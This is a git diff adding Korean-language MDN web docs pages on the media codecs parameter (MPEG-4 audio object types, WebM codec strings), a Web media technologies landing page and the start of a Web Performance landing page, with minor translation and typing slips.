+<p>그러므로 오디오 오브젝트 타입이 17인 ER AAC LC의 전체 <code>codecs</code> 값은 <code>mp4a.40.17</code> 입니다. 한자리 숫자는 한자리로 표현하거나(폭넓게 호환되므로 최선) 앞에 0을 붙여 두자리로 표현할 수 있습니다. <code>mp4a.40.02</code> 처럼요.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> 원래 Audio Object Type은 한자리 숫자로 규정되었었습니다. 시간이 지나면서 표준을 확장하였고 현재는 한자리 또는 두자리 숫자입니다. 10 미만의 값 앞에 <code>0</code> 을 붙이는건 필수가 아닙니다. 오래된 MPEG-4 코덱 구현체들은 두자리 숫자를 지원하지 못할 수도 있습니다. 따라서 호환성을 높이기 위해선 한자리로 표현해야 합니다.</p>
+</div>
+
+<p>Audio Object Types는 ISO/IEC 14496-3 subpart 1, section 1.5.1에서 정의하고 있습니다. 아래 표는 Audio Object Type 기본 목록과 지원하는 프로필입니다. MPEG-4 audio type의 내부에 대해서 더 알고 싶다면 레퍼런스를 참조하세요.</p>
+
+<table class="standard-table">
+ <caption>MPEG-4 audio object types</caption>
+ <thead>
+ <tr>
+ <th scope="col">ID</th>
+ <th scope="col">Audio Object Type</th>
+ <th scope="col">Profile support</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>0</code></td>
+ <td>NULL</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>1</code></td>
+ <td>AAC Main</td>
+ <td>Main</td>
+ </tr>
+ <tr>
+ <td><code>2</code></td>
+ <td>AAC LC (Low Complexity)</td>
+ <td>Main, Scalable, HQ, LD v2, AAC, HE-AAC, HE-AAC v2</td>
+ </tr>
+ <tr>
+ <td><code>3</code></td>
+ <td>AAC SSR (Scalable Sampling Rate)</td>
+ <td>Main</td>
+ </tr>
+ <tr>
+ <td><code>4</code></td>
+ <td>AAC LTP (Long Term Prediction)</td>
+ <td>Main, Scalable, HQ</td>
+ </tr>
+ <tr>
+ <td><code>5</code></td>
+ <td>SBR (Spectral Band Replication)</td>
+ <td>HE-AAC, HE-AAC v2</td>
+ </tr>
+ <tr>
+ <td><code>6</code></td>
+ <td>AAC Scalable</td>
+ <td>Main, Scalable, HQ</td>
+ </tr>
+ <tr>
+ <td><code>7</code></td>
+ <td>TwinVQ (Coding for ultra-low bit rates)</td>
+ <td>Main, Scalable</td>
+ </tr>
+ <tr>
+ <td><code>8</code></td>
+ <td>CELP (Code-Excited Linear Prediction)</td>
+ <td>Main, Scalable, Speech, HQ, LD</td>
+ </tr>
+ <tr>
+ <td><code>9</code></td>
+ <td>HVXC (Harmonic Vector Excitation Coding)</td>
+ <td>Main, Scalable, Speech, LD</td>
+ </tr>
+ <tr>
+ <td><code>10</code> – <code>11</code></td>
+ <td><em>Reserved</em></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>12</code></td>
+ <td>TTSI (Text to Speech Interface)</td>
+ <td>Main, Scalable, Speech, Synthetic, LD</td>
+ </tr>
+ <tr>
+ <td><code>13</code></td>
+ <td>Main Synthetic</td>
+ <td>Main, Synthetic</td>
+ </tr>
+ <tr>
+ <td><code>14</code></td>
+ <td>Wavetable Synthesis</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>15</code></td>
+ <td>General MIDI</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>16</code></td>
+ <td>Algorithmic Synthesis and Audio Effects</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>17</code></td>
+ <td>ER AAC LC (Error Resilient AAC Low-Complexity)</td>
+ <td>HQ, Mobile Internetworking</td>
+ </tr>
+ <tr>
+ <td><code>18</code></td>
+ <td><em>Reserved</em></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>19</code></td>
+ <td>ER AAC LTP (Error Resilient AAC Long Term Prediction)</td>
+ <td>HQ</td>
+ </tr>
+ <tr>
+ <td><code>20</code></td>
+ <td>ER AAC Scalable (Error Resilient AAC Scalable)</td>
+ <td>Mobile Internetworking</td>
+ </tr>
+ <tr>
+ <td><code>21</code></td>
+ <td>ER TwinVQ (Error Resilient TwinVQ)</td>
+ <td>Mobile Internetworking</td>
+ </tr>
+ <tr>
+ <td><code>22</code></td>
+ <td>ER BSAC (Error Reslient Bit-Sliced Arithmetic Coding)</td>
+ <td>Mobile Internetworking</td>
+ </tr>
+ <tr>
+ <td><code>23</code></td>
+ <td>ER AAC LD (Error Resilient AAC Low-Delay; used for two-way communiation)</td>
+ <td>LD, Mobile Internetworking</td>
+ </tr>
+ <tr>
+ <td><code>24</code></td>
+ <td>ER CELP (Error Resilient Code-Excited Linear Prediction)</td>
+ <td>HQ, LD</td>
+ </tr>
+ <tr>
+ <td><code>25</code></td>
+ <td>ER HVXC (Error Resilient Harmonic Vector Excitation Coding)</td>
+ <td>LD</td>
+ </tr>
+ <tr>
+ <td><code>26</code></td>
+ <td>ER HILN (Error Resilient Harmonic and Individual Line plus Noise)</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>27</code></td>
+ <td>ER Parametric (Error Resilient Parametric)</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>28</code></td>
+ <td>SSC (Sinusoidal Coding)</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>29</code></td>
+ <td>PS (Parametric Stereo)</td>
+ <td>HE-AAC v2</td>
+ </tr>
+ <tr>
+ <td><code>30</code></td>
+ <td>MPEG Surround</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>31</code></td>
+ <td><em>Escape</em></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>32</code></td>
+ <td>MPEG-1 Layer-1</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>33</code></td>
+ <td>MPEG-1 Layer-2 (MP2)</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>34</code></td>
+ <td>MPEG-1 Layer-3 (MP3)</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>35</code></td>
+ <td>DST (Direct Stream Transfer)</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>36</code></td>
+ <td>ALS (Audio Lossless)</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>37</code></td>
+ <td>SLS (Scalable Lossless)</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>38</code></td>
+ <td>SLS Non-core (Scalable Lossless Non-core)</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>39</code></td>
+ <td>ER AAC ELD (Error Resilient AAC Enhanced Low Delay)</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>40</code></td>
+ <td>SMR Simple (Symbolic Music Representation Simple)</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>41</code></td>
+ <td>SMR Main (Symbolic Music Representation Main)</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>42</code></td>
+ <td><em>Reserved</em></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>43</code></td>
+ <td>SAOC (Spatial Audio Object Coding)<sup><a href="#audio-object-types-foot-1">[1]</a></sup></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>44</code></td>
+ <td>LD MPEG Surround (Low Delay MPEG Surround)<sup><a href="#audio-object-types-foot-1">[1]</a></sup></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>45</code> and up</td>
+ <td><em>Reserved</em></td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<p><a name="audio-object-types-foot-1">[1]</a> SAOC and LD MPEG Surround are defined in <a href="https://www.iso.org/standard/54838.html">ISO/IEC 14496-3:2009/Amd.2:2010(E)</a>.</p>
+
+<h3 id="WebM">WebM</h3>
+
+<p>WebM <code>codecs</code> 파라미터의 기본 형은 4개의 WebM 코덱 중 하나 이상의 이름을 콤마로 구분합니다. 아래 표는 예시입니다.:</p>
+
+<table class="standard-table">
+ <caption>WebM MIME <code>codecs</code> 파라미터 예시</caption>
+ <thead>
+ <tr>
+ <th scope="col">MIME 타입</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>video/webm;codecs="vp8"</code></td>
+ <td>VP8 코덱 WebM 비디오; 오디오 미정의.</td>
+ </tr>
+ <tr>
+ <td><code>video/webm;codecs="vp9"</code></td>
+ <td>VP9 코덱 WebM 비디오.</td>
+ </tr>
+ <tr>
+ <td><code>audio/webm;codecs="vorbis"</code></td>
+ <td>Vorbis 오디오 WebM 파일.</td>
+ </tr>
+ <tr>
+ <td><code>audio/webm;codecs="opus"</code></td>
+ <td>Opus 오디오 WebM 파일.</td>
+ </tr>
+ <tr>
+ <td><code>video/webm;codecs="vp8,vorbis"</code></td>
+ <td>VP8 비디오 코덱, Vorbis 오디오 코덱 포함된 WebM 파일.</td>
+ </tr>
+ <tr>
+ <td><code>video/webm;codecs="vp9,opus"</code></td>
+ <td>A WebM container with VP9 video and Opus audio.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><code>vp8.0</code>, <code>vp9.0</code> 문자열도 가능하지만, 비추천합니다.</p>
+
+<h4 id="ISO_Base_Media_File_Format_문법">ISO Base Media File Format 문법</h4>
+
+<p><code>codecs</code> 파라미터를 표준화하고 강력한 포맷으로 발전시키기 위해, WebM은 <a href="#ISO-BMFF">ISO Base Media File Format</a> 에 정의된 문법에 따라 <em>비디오</em> 콘텐츠를 기술하기 시작했습니다. 본 문법은 <a href="https://www.webmproject.org/vp9/mp4">VP Codec ISO Media File Format Binding</a>의, <a href="https://www.webmproject.org/vp9/mp4/#codecs-parameter-string">Codecs Parameter String</a> 섹션에 정의되어 있습니다. 오디오 코덱은 <code>vorbis</code> 또는 <code>opus</code>로 표시되어 있습니다.</p>
+
+<p><code>codecs</code> 파리미터는 사용한 코덱을 나타내는 4자리 문자로 시작하고 온점(<code>.</code>)으로 구분된 2자리 숫자가 반복됩니다.</p>
+
+<pre class="notranslate">cccc.PP.LL.DD.CC[.cp[.tc[.mc[.FF]]]]</pre>
+
+<p>처음부터 5개 요소는 필수이며; <code>cp</code> (color primaries) 부터는 옵션입니다.; 이후로는 어디서든 끊을 수 있습니다. 각 요소는 아래 표에 설명하고 있으며 예시가 첨부되어 있습니다.</p>
+
+<table class="standard-table">
+ <caption>WebM codecs parameter components</caption>
+ <thead>
+ <tr>
+ <th scope="col">Component</th>
+ <th scope="col">Details</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>cccc</code></td>
+ <td>
+ <p>4자리 코드로 사용 가능한 코덱을 명시합니다. 가능한 값은 아래와 같습니다:</p>
+
+ <table class="standard-table">
+ <caption>Web-M 지원 코덱 4자리 코드</caption>
+ <thead>
+ <tr>
+ <th scope="col">Four-character code</th>
+ <th scope="col">Codec</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>vp08</code></td>
+ <td>VP8</td>
+ </tr>
+ <tr>
+ <td><code>vp09</code></td>
+ <td>VP9</td>
+ </tr>
+ <tr>
+ <td><code>vp10</code></td>
+ <td>VP10</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ <tr>
+ <td><code>PP</code></td>
+ <td>
+ <p>2자리 숫자 프로파일 코드. 필요하다면 두자리를 맞추기 위해 앞에 0을 추가합니다.</p>
+
+ <table class="standard-table">
+ <caption>WebM 프로파일 숫자</caption>
+ <thead>
+ <tr>
+ <th scope="col">프로파일</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>00</code></td>
+ <td>크로마 서브샘플링 4:2:0(수직/수평 서브샘플링)만 허용. 색상 컴포넌트 당 8비트만 허용.</td>
+ </tr>
+ <tr>
+ <td><code>01</code></td>
+ <td>크로마 서브샘플링 전체 허용. 색상 컴포넌트 당 8비트만 허용.</td>
+ </tr>
+ <tr>
+ <td><code>02</code></td>
+ <td>크로마 서브샘플링 4:2:0만 허용. 색상 컴포넌트 당 8, 10, 12비트 허용.</td>
+ </tr>
+ <tr>
+ <td><code>03</code></td>
+ <td>크로마 서브샘플링 전체 허용. 색상 컴포넌트 당 8, 10, 12비트 허용</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ <tr>
+ <td><code>LL</code></td>
+ <td>두 자리 숫자 레벨 코드. 레벨 넘버는 고정 소수점 표기로 첫번째 숫자가 1의 자리, 두번째 숫자가 소수점 미만 첫번째 자리를 의미합니다. 예를 들어 레벨 3은 <code>30</code> 레벨 6.1은 <code>61</code>.</td>
+ </tr>
+ <tr>
+ <td><code>DD</code></td>
+ <td>휘도, 색상 컴포넌트의 비트 심도를 표기합니다. 가능한 값은 8, 10, 12입니다.</td>
+ </tr>
+ <tr>
+ <td><code>CC</code></td>
+ <td>
+ <p>크로마 서브샘플링 포맷을 2자리 숫자로 표기합니다. 가능한 값은 아래 표에 있습니다; 자세한 내용은 {{SectionOnPage("en-US/docs/Web/Media/Formats/Video_concepts", "Chroma subsampling")}} 를 참조하세요.</p>
+
+ <table class="standard-table">
+ <caption>WebM 크로마 서브샘플링 구분자</caption>
+ <thead>
+ <tr>
+ <th scope="col">값</th>
+ <th scope="col">크로마 서브샘플링 포맷</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>00</code></td>
+ <td>4:2:0 with the chroma samples sited interstitially between the pixels</td>
+ </tr>
+ <tr>
+ <td><code>01</code></td>
+ <td>4:2:0 chroma subsampling with the samples colocated with luma (0, 0)</td>
+ </tr>
+ <tr>
+ <td><code>02</code></td>
+ <td>4:2:2 chroma subsampling (4 out of each 4 horizontal pixels' luminance are used)</td>
+ </tr>
+ <tr>
+ <td><code>03</code></td>
+ <td>4:4:4 chroma subsampling (every pixel's luminance and chrominance are both retained)</td>
+ </tr>
+ <tr>
+ <td><code>04</code></td>
+ <td><em>Reserved</em></td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ <tr>
+ <td><code>cp</code></td>
+ <td>
+ <p><a href="https://www.itu.int/rec/T-REC-H.273/en">ISO/IEC 23001-8:2016</a> 표준 Section 8.1에 명시되어있는 색 공간을 두자리 숫자로 표현합니다. 본 요소와 이후 요소는 전부 비필수값입니다.</p>
+
+ <p>Color primaries 요소에 가능한 값은 아래와 같습니다.:</p>
+
+ <table class="standard-table">
+ <caption>ISO/IEC Color primary identifiers</caption>
+ <thead>
+ <tr>
+ <th scope="col">Value</th>
+ <th scope="col">Details</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>00</code></td>
+ <td><em>ITU과 ISO/IEC</em>에 의해 예약됨</td>
+ </tr>
+ <tr>
+ <td><code>01</code></td>
+ <td>고선명 화질(HD) TV 표준인 BT.709, sRGB, sYCC. BT.709; sRGB는 컴퓨터 모니터에서 쓰이는 가장 일반적인 색 공간입니다. Broadcast BT.709는 8비트 색 심도를 사용하여 16(Black)부터 235(White)까지 리갈 레인지를 표현합니다.</td>
+ </tr>
+ <tr>
+ <td><code>02</code></td>
+ <td>알 수 없거나 application에서 활용하기 위해 사용합니다.</td>
+ </tr>
+ <tr>
+ <td><code>03</code></td>
+ <td><em>ITU과 ISO/IEC</em>에 의해 예약됨</td>
+ </tr>
+ <tr>
+ <td><code>04</code></td>
+ <td>BT.470 System M, NTSC (미국 내 표준 화질 TV 표준)</td>
+ </tr>
+ <tr>
+ <td><code>05</code></td>
+ <td>BT.470 System B, G; BT.601; BT.1358 625; BT.1700 625 PAL and 625 SECAM</td>
+ </tr>
+ <tr>
+ <td><code>06</code></td>
+ <td>BT.601 525; BT.1358 525 or 625; BT.1700 NTSC; SMPTE 170M. <em><code>7</code>과 동일함.</em></td>
+ </tr>
+ <tr>
+ <td><code>70</code></td>
+ <td>{{Glossary("SMPTE")}} 240M (historical). <em>Functionally identical to <code>6</code>과 동일함.</em></td>
+ </tr>
+ <tr>
+ <td><code>08</code></td>
+ <td>일반 필름</td>
+ </tr>
+ <tr>
+ <td><code>09</code></td>
+ <td>BT.2020; BT.2100. UHD (4K) High Dynamic Range (HDR) 영상에서 사용 매우 넓은 색 표현력과 10비트 12비트 색상 컴포넌트 지원.</td>
+ </tr>
+ <tr>
+ <td><code>10</code></td>
+ <td>SMPTE ST 428 (D-Cinema Distribution Master: Image characteristics). DCDM을 위한 비압축 형식.</td>
+ </tr>
+ <tr>
+ <td><code>11</code></td>
+ <td>SMPTE RP 431 (D-Cinema Quality: Reference projector and environment). 필름 표현의 지속적 경험을 위한 레퍼런스 프로젝터와 환경 조건에 대해 기술.</td>
+ </tr>
+ <tr>
+ <td><code>12</code></td>
+ <td>SMPTE EG 432 (Digital Source Processing: Color Processing for D-Cinema). 디지털 영화를 위한 색신호 디코딩의 기술적 가이드라인.</td>
+ </tr>
+ <tr>
+ <td><code>13</code> – <code>21</code></td>
+ <td><em>ITU과 ISO/IEC</em>에 의해 예약됨</td>
+ </tr>
+ <tr>
+ <td><code>22</code></td>
+ <td>EBU Tech 3213-E</td>
+ </tr>
+ <tr>
+ <td><code>23</code> – <code>255</code></td>
+ <td><em>ITU과 ISO/IEC</em>에 의해 예약됨</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ <tr>
+ <td><code>tc</code></td>
+ <td>비디오의 <code>transferCharacteristics</code> 값을 2자리 숫자로 표현. This value is from Section 8.2 of <a href="https://www.itu.int/rec/T-REC-H.273/en">ISO/IEC 23001-8:2016</a> Section 8.2에 기술되어 있으며 디코딩된 색상을 렌더링 타겟에 맞출 때 transfer characteristics 을 정의합니다.</td>
+ </tr>
+ <tr>
+ <td><code>mc</code></td>
+ <td><code>matrixCoefficients</code> 속성 값을 2자리 숫자로 표현 <a href="https://www.itu.int/rec/T-REC-H.273/en">ISO/IEC 23001-8:2016</a> 스펙 Section 8.3 표에서 기술. 이 값은 native red, blue, green 색상을 휘도, 색차 신호에 매핑하는데 사용합니다. 이 계수들이 방정식에서 어떻게 사용되는지 같은 섹션에서 확인할 수 있습니다.</td>
+ </tr>
+ <tr>
+ <td><code>FF</code></td>
+ <td>색상 컴포넌트의 검정 수준과 색상 범위를 리갈 레인지로 제한할지 여부를 표시합니다. 예를들어 8비트 색상의 경우 리갈 레인지는 16~235입니다. 값이 <code>00</code> 인 경우 강제로 제한하며,  <code>01</code> 인 경우 결과물의 색상이 컬러 시스템의 범위를 벗어나더라도 각 컴포넌트 별로 가능한 풀 레인지 값을 허용합니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h4 id="WebM_media_type_예시">WebM media type 예시</h4>
+
+<dl>
+ <dt><code>video/webm;codecs="vp08.00.41.08,vorbis"</code></dt>
+ <dd>VP8 비디오, 프로파일 0 레벨 4.1, 8-bit YUV 4:2:0 크로마 서브샘플링, BT.709 색 공간, 변환 함수, 행렬 계수, 휘도 색차 값은 ("studio") 리갈 레인지로 인코딩 됨. 오디오는 Vorbis.</dd>
+ <dt><code>video/webm;codecs="vp09.02.10.10.01.09.16.09.01,opus"</code></dt>
+ <dd>VP9 비디오, 프로파일 2 레벨?1.0, 10-bit YUV 4:2:0 크로마 서브샘플링, BT.2020 색 공간, ST 2084 EOTF (HDR SMPTE), BT.2020 비상수 휘도 색상 행렬, 풀 레인지 휘도 색차 인코딩non-constant luminance color matrix, and full-range chroma and luma encoding. 오디오는 Opus 포맷.</dd>
+</dl>
+
+<h2 id="codecs_파라미터_사용하기">codecs 파라미터 사용하기</h2>
+
+<p><code>codecs</code> 파라미터를 여러 상황에서 사용할 수 있습니다. 먼저 {{HTMLElement("audio")}} , {{HTMLElement("video")}} 엘레먼트 생성 시 {{HTMLElement("source")}} 엘레먼트에 사용하여 브라우저로 하여금 사용할 미디어 포맷에 대한 옵션을 제공하는거죠..</p>
+
+<p>{{domxref("MediaSource.isTypeSupported()")}} 메소드에 MIME 타입을 명시적으로 전달하는데 사용할 수도 있습니다.; 이 메소드는 현재 장치에서 주어진 미디어 포맷을 재생할 수 있는지 여부를 불리언 값으로 반환합니다.</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Media">Web media technologies</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats">Guide to media types and formats on the web</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/Audio_codecs">Guide to audio codecs used on the web</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/Video_codecs">Guide to video codecs used on the web</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/WebRTC_codecs">Codecs used by WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/media/index.html b/files/ko/web/media/index.html
new file mode 100644
index 0000000000..207ef43d3d
--- /dev/null
+++ b/files/ko/web/media/index.html
@@ -0,0 +1,81 @@
+---
+title: Web media technologies
+slug: Web/Media
+tags:
+ - Audio
+ - Landing
+ - Media
+ - NeedsTranslation
+ - TopicStub
+ - Video
+ - Web
+translation_of: Web/Media
+---
+<p><span class="seoSummary">Over the years, the Web's ability to present, create, and manage audio, video, and other media has grown at an increasing pace. Today, there are a large number of APIs available, as well as HTML elements, DOM interfaces, and other features that make it possible to not only perform these tasks, but use media in tandem with other technologies to do truly remarkable things. This article lists the various APIs with links to documentation you may find helpful in mastering them.</span></p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="References">References</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<p>These articles cover HTML features for media developers.</p>
+
+<dl>
+ <dt>{{HTMLElement("audio")}}</dt>
+ <dd>The <code>&lt;audio&gt;</code> element is used to play audio in a Web context. These can be used invisibly as a destination for more complex media, or with visible controls for user-controlled playback of audio files. Accessible from JavaScript as {{domxref("HTMLAudioElement")}} objects.</dd>
+ <dt>{{HTMLElement("video")}}</dt>
+ <dd>The <code>&lt;video&gt;</code> element is an endpoint for video content in a Web context. It can be used to simply present video files, or as a destination for streamed video content. <code>&lt;video&gt;</code> can also be used as a way to link media APIs with other HTML and DOM technologies, including {{HTMLElement("canvas")}} (for frame grabbing and manipulation), for example. Accessible from JavaScript as {{domxref("HTMLVideoElement")}} objects.</dd>
+ <dt>{{HTMLElement("track")}}</dt>
+ <dd>The HTML <code>&lt;track&gt;</code> element can be placed within an {{HTMLElement("audio")}} or {{HTMLElement("video")}} element to provide a reference to a <a href="/en-US/docs/Web/API/Web_Video_Text_Tracks_Format">WebVTT</a> format subtitle or caption track to be used when playing the media. Accessible from JavaScript as {{domxref("HTMLTrackElement")}} objects.</dd>
+ <dt>{{HTMLElement("source")}}</dt>
+ <dd>The HTML <code>&lt;source&gt;</code> element is used within an {{HTMLElement("audio")}} or {{HTMLElement("video")}} element to specify source media to present. Multiple sources can be used to provide the media in different formats, sizes, or resolutions. Accessible from JavaScript as {{domxref("HTMLSourceElement")}} objects.</dd>
+</dl>
+
+<h3 id="APIs">APIs</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></dt>
+ <dd>A reference for the API which makes it possible to stream, record, and manipulate media both locally and across a network. This includes using local cameras and microphones to capture video, audio, and still images.</dd>
+ <dt><a href="/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a></dt>
+ <dd>The MediaStream Recording API lets you capture media streams to process or filter the data or record it to disk.</dd>
+ <dt><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a></dt>
+ <dd>The Web Audio API lets you generate, filter, and manipulate sound data both in real-time and on pre-recorded material, then send that audio to a destination such as an <code>&lt;audio&gt;</code> element, a media stream, or to disk.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a></dt>
+ <dd>WebRTC (Web Real-Time Communication) makes it possible to stream live audio and video, as well as transfer arbitrary data, between two peers over the Internet, without requiring an intermediary.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Overview">Overview of media technology on the web</a></dt>
+ <dd>A general look at the open Web technologies and APIs that provide support for audio and video playback, manipulation, and recording. If you're not sure which API you should use, this is the place to start.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Accessibility">Accessibility guide for media in web design</a></dt>
+ <dd>In this guide, we cover ways web designers and developers can create content that is accessible to people with different capabilities. This ranges from simply using the {{htmlattrxref("alt", "img")}} attribute on {{HTMLElement("image")}} elements to captions to tagging media for screen readers.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats">Guide to media types and formats on the web</a></dt>
+ <dd>A guide to the file types and codecs available for images, audio, and video media on the web. This includes recommendations for what formats to use for what kinds of content, best practices including how to provide fallbacks and how to prioritize media types, and also includes general browser support information for each media container and codec.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Autoplay_guide">Autoplay guide for media and Web Audio APIs</a></dt>
+ <dd>Unexpected automatic playback of media or audio can be an unwelcome surprise to users. While autoplay serves a purpose, it should be used carefully. To give users control over this, many browsers now provide forms of autoplay blocking. This article is a guide to autoplay, with tips on when and how to use it and how to work with browsers to handle autoplay blocking gracefully.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Other_topics">Other topics</h2>
+
+<p>Related topics which may be of interest, since they can be used in tandem with media APIs in interesting ways.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Canvas_API">The Canvas API</a></dt>
+ <dd>The Canvas API lets you draw into an {{HTMLElement("canvas")}}, manipulating and changing the contents of an image. This can be used with media in many ways, including by setting a <code>&lt;canvas&gt;</code> element as the destination for video playback or camera capture so that you can capture and manipulate video frames.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API">WebGL</a></dt>
+ <dd>WebGL provides an OpenGL ES compatible API on top of the existing Canvas API, making it possible to do powerful 3D graphics on the Web. Through a canvas, this can be used to add 3D imagery to media content.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebVR_API">WebVR</a></dt>
+ <dd>The Web Virtual Reality API supports virtual reality (VR) devices such as the Oculus Rift or the HTC Vive, making it possible for developers to translate position and movement of the user into movement within a 3D scene which is then presented on the device. WebVR is expected to be gradually replaced with WebXR, which covers a wider range of use cases.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_API">WebXR</a></dt>
+ <dd>WebXR, which is meant to eventually replace WebVR, is a technology that provides support for creating virtual reality (VR) and augmented reality (AR) content. The mixed reality content can then be displayed on the device's screen or using goggles or a headset.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/ko/web/performance/index.html b/files/ko/web/performance/index.html
new file mode 100644
index 0000000000..2bca12d91b
--- /dev/null
+++ b/files/ko/web/performance/index.html
@@ -0,0 +1,291 @@
+---
+title: Web Performance
+slug: Web/Performance
+tags:
+ - API
+ - App
+ - App Performance
+ - HTML
+ - JavaScript
+ - Landing
+ - Mobile
+ - Mobile Performance
+ - NeedsTranslation
+ - Performance
+ - Performance Budget
+ - Start-Up Performance
+ - TopicStub
+ - Web
+ - Web Performance
+translation_of: Web/Performance
+---
+<p><span class="seoSummary">Web performance is the objective measurements and the perceived user experience of load time and runtime. Web performance is how long a site takes to load, become interactive and responsive, and how smooth the content is during user interactions </span>- is the scrolling smooth? are buttons clickable? Are pop-ups quick to load and display, and do they animate smoothly as they do so? Web performance includes both objective measurements like time to load, frames per second, and time to become interactive, and subjective experiences of how long it felt like it took the content to load.</p>
+
+<p>The longer it takes for a site to respond, the more users will abandon the site. It is important to minimize the loading and response times and add additional features to conceal latency by making the experience as available and interactive as possible, as soon as possible, while asynchronously loading in the longer tail parts of the experience.</p>
+
+<p>There are tools, APIs, and best practices that help us measure and improve web performance. We cover them in this section:</p>
+
+<h2 id="Key_performance_guides">Key performance guides</h2>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<div class="cleared topicpage-table">
+<div class="section">
+<h2 id="Beginners_tutorials">Beginner's tutorials</h2>
+
+<p>The MDN <a href="/en-US/docs/Learn/Performance">Web Performance Learning Area</a> contains modern, up-to-date tutorials covering Performance essentials. Start here if you are a newcomer to performance:</p>
+
+<dl>
+ <dt></dt>
+ <dt><a href="/en-US/docs/Learn/Performance/web_performance_overview">Web performance: brief overview</a></dt>
+ <dd>Overview of the web performance learning path. Start your journey here.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/What_is_web_performance">What is web performance?</a></dt>
+ <dd>This article starts the module off with a good look at what performance actually is — this includes the tools, metrics, APIs, networks, and groups of people we need to consider when thinking about performance, and how we can make performance part of our web development workflow.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Perceived_performance">How do users perceive performance?</a></dt>
+ <dd>
+ <p>More important than how fast your website is in milliseconds, is how fast your users perceive your site to be. These perceptions are impacted by actual p<span style="letter-spacing: -0.00278rem;">age load time, idling, responsiveness to user interaction, and the smoothness of scrolling and other animations. In this article, we discuss the various loading metrics, animation, and responsiveness metrics, along with best practices to improve user perception, if not the actual timings.</span></p>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Web_Performance_Basics">Web performance basics</a></dt>
+ <dd>In addition to the front end components of HTML, CSS, JavaScript, and media files, there are features that can make applications slower and features that can make applications subjectively and objectively faster. There are many APIs, developer tools, best practices, and bad practices relating to web performance. Here we'll introduce many of these features ad the basic level and provide links to deeper dives to improve performance for each topic.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/HTML">HTML performance features</a></dt>
+ <dd>Some attributes and the source order of your mark-up can impact the performance or your website. By minimizing the number of DOM nodes, making sure the best order and attributes are used for including content such as styles, scripts, media, and third-party scripts, you can drastically improve the user experience. This article looks in detail at how HTML can be used to ensure maximum performance.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Multimedia">Multimedia: images and video</a></dt>
